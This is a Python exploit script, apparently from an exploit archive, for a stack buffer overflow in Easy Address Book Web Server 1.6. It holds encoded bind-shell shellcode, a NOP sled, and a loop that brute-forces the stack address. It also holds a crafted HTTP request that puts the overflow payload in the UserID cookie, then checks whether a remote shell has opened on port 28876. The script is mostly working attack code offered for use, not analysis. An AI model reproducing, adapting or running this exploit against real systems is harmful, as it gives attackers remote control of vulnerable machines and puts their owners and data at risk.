Easy Address Book Web Server 1.6 - Stack Buffer Overflow

#!/usr/bin/env python

# Exploit Title: Easy Address Book Web Server 1.6 stack buffer overflow

# Date: 19 May 2014

# Exploit Author: superkojiman - http://www.techorganic.com

# Vendor Homepage: http://www.efssoft.com/web-address-book-server.html

# Software Link: http://www.efssoft.com/eabws.exe

# Version: 1.6

# Tested on: English version of Windows XP Professional SP2 and SP3

#

# Description:

# By setting UserID in the cookie to a long string, we can overwrite EDX which

# allows us to control execution flow when "call dword ptr [edx+28h]" is

# executed. EDX is overwritten with an address pointing to a location on the

# stack which in turn points to a NOP sled leading to the shellcode. This

# address on the stack is brute forced, but doesn't take long since only the

# 2nd byte is always different, so the address is always 0x01??B494.

#

# It's similar to Easy File Sharing Web Server 6.8 exploit here.

# http://www.exploit-db.com/exploits/33352/ I suspect same code reused for

# their Web Server series of applications.

#

# Tested with Easy Address Book Web Server installed in the default location

# at C:\EFS Software\Easy Address Book Web Server

#

# The exploit can sometimes fail the first time, so try a few more times and

# you might get a shell.

import socket

import struct

import sys

target = "172.16.229.134"

port = 80

# Shellcode from https://code.google.com/p/w32-bind-ngs-shellcode/

# Binds a shell on port 28876

# msfencode -b '\x00\x20' -i w32-bind-ngs-shellcode.bin

# [*] x86/shikata_ga_nai succeeded with size 241 (iteration=1)

shellcode = (

"\xbb\xa1\x68\xde\x7c\xdd\xc0\xd9\x74\x24\xf4\x58\x33\xc9" +

"\xb1\x36\x31\x58\x14\x83\xe8\xfc\x03\x58\x10\x43\x9d\xef" +

"\xb5\xe7\xd5\x61\x76\x6c\x9f\x8d\xfd\x04\x7c\x05\x6f\xe0" +

"\xf7\x67\x50\x7b\x31\xa0\xdf\x63\x4b\x23\x8e\xfb\x81\x9c" +

"\x02\xc9\x8d\x44\x33\x5a\x3d\xe1\x0c\x2b\xc8\x69\xfb\xd5" +

"\x7e\x8a\xd5\xd5\xa8\x41\xac\x02\x7c\xaa\x05\x8d\xd0\x0c" +

"\x0b\x5a\x82\x0d\x44\x48\x80\x5d\x10\xcd\xf4\xea\x7a\xf0" +

"\x7c\xec\x69\x81\x36\xce\x6c\x7c\x9e\x3f\xbd\x3c\x94\x74" +

"\xd0\xc1\x44\xc0\xe4\x6d\xac\x58\x21\xa9\xf1\xeb\x44\xc6" +

"\x30\x2b\xd2\xc3\x1b\xb8\x57\x37\xa5\x57\x68\x80\xb1\xf6" +

"\xfc\xa5\xa5\xf9\xeb\xb0\x3e\xfa\xef\x53\x15\x7d\xd1\x5a" +

"\x1f\x76\xa3\x02\xdb\xd5\x44\x6a\xb4\x4c\x3a\xb4\x48\x1a" +

"\x8a\x96\x03\x1b\x3c\x8b\xa3\x34\x28\x52\x74\x4b\xac\xdb" +

"\xb8\xd9\x43\xb4\x13\x48\x9b\xea\xe9\xb3\x17\xf2\xc3\xe1" +

"\x8a\x6a\x47\x6b\x4f\x4a\x0a\x0f\xab\xb2\xbf\x5b\x18\x04" +

"\xf8\x72\x5e\xdc\x80\xb9\x45\x8b\xdc\x93\xd7\xf5\xa6\xfc" +

"\xd0\xae\x7a\x51\xb6\x02\x84\x03\xdc\x29\x3c\x50\xf5\xe7" +

"\x3e\x57\xf9"

)

for i in xrange(1,255):

n = ""

if i < 16:

n = "0" + hex(i)[-1]

else:

n = hex(i)[2:]

guess = "0x01" + n + "b494" # value of edx used in

# "call dword ptr ds:[edx+28]

# only 2nd byte changes in stack address

nops = int(guess, 16) + 129 # addres sof nop sled is guess+129 bytes

print "[+] Trying guess at", guess

payload = struct.pack("<I", nops) # pointer to nop sled

payload += "A"*76 # padding

payload += struct.pack("<I", int(guess,16)) # address containing pointer to

# nop sled

payload += "\x90"*20 # nop sled

payload += shellcode # win!

# craft the request

buf = (

"GET /addrbook.ghp HTTP/1.1\r\n"

"User-Agent: Mozilla/4.0\r\n"

"Host:" + target + ":" + str(port) + "\r\n"

"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"

"Accept-Language: en-us\r\n"

"Accept-Encoding: gzip, deflate\r\n"

"Referer: http://" + target + "/\r\n"

"Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n"

"Conection: Keep-Alive\r\n\r\n"

)

try:

# send the request and payload to the server

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s1.connect((target, port))

s1.send(buf)

s1.close()

except Exception,e:

pass

try:

# check if we guessed the correct address by connecting to port 28876

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s2.connect((target, 28876))

s2.close()

print "\n[+] Success! A shell is waiting on port 28876!"

sys.exit(0)

except Exception,e:

pass

print "\n[!] Didn't work. Sometimes it takes a few tries, so try again."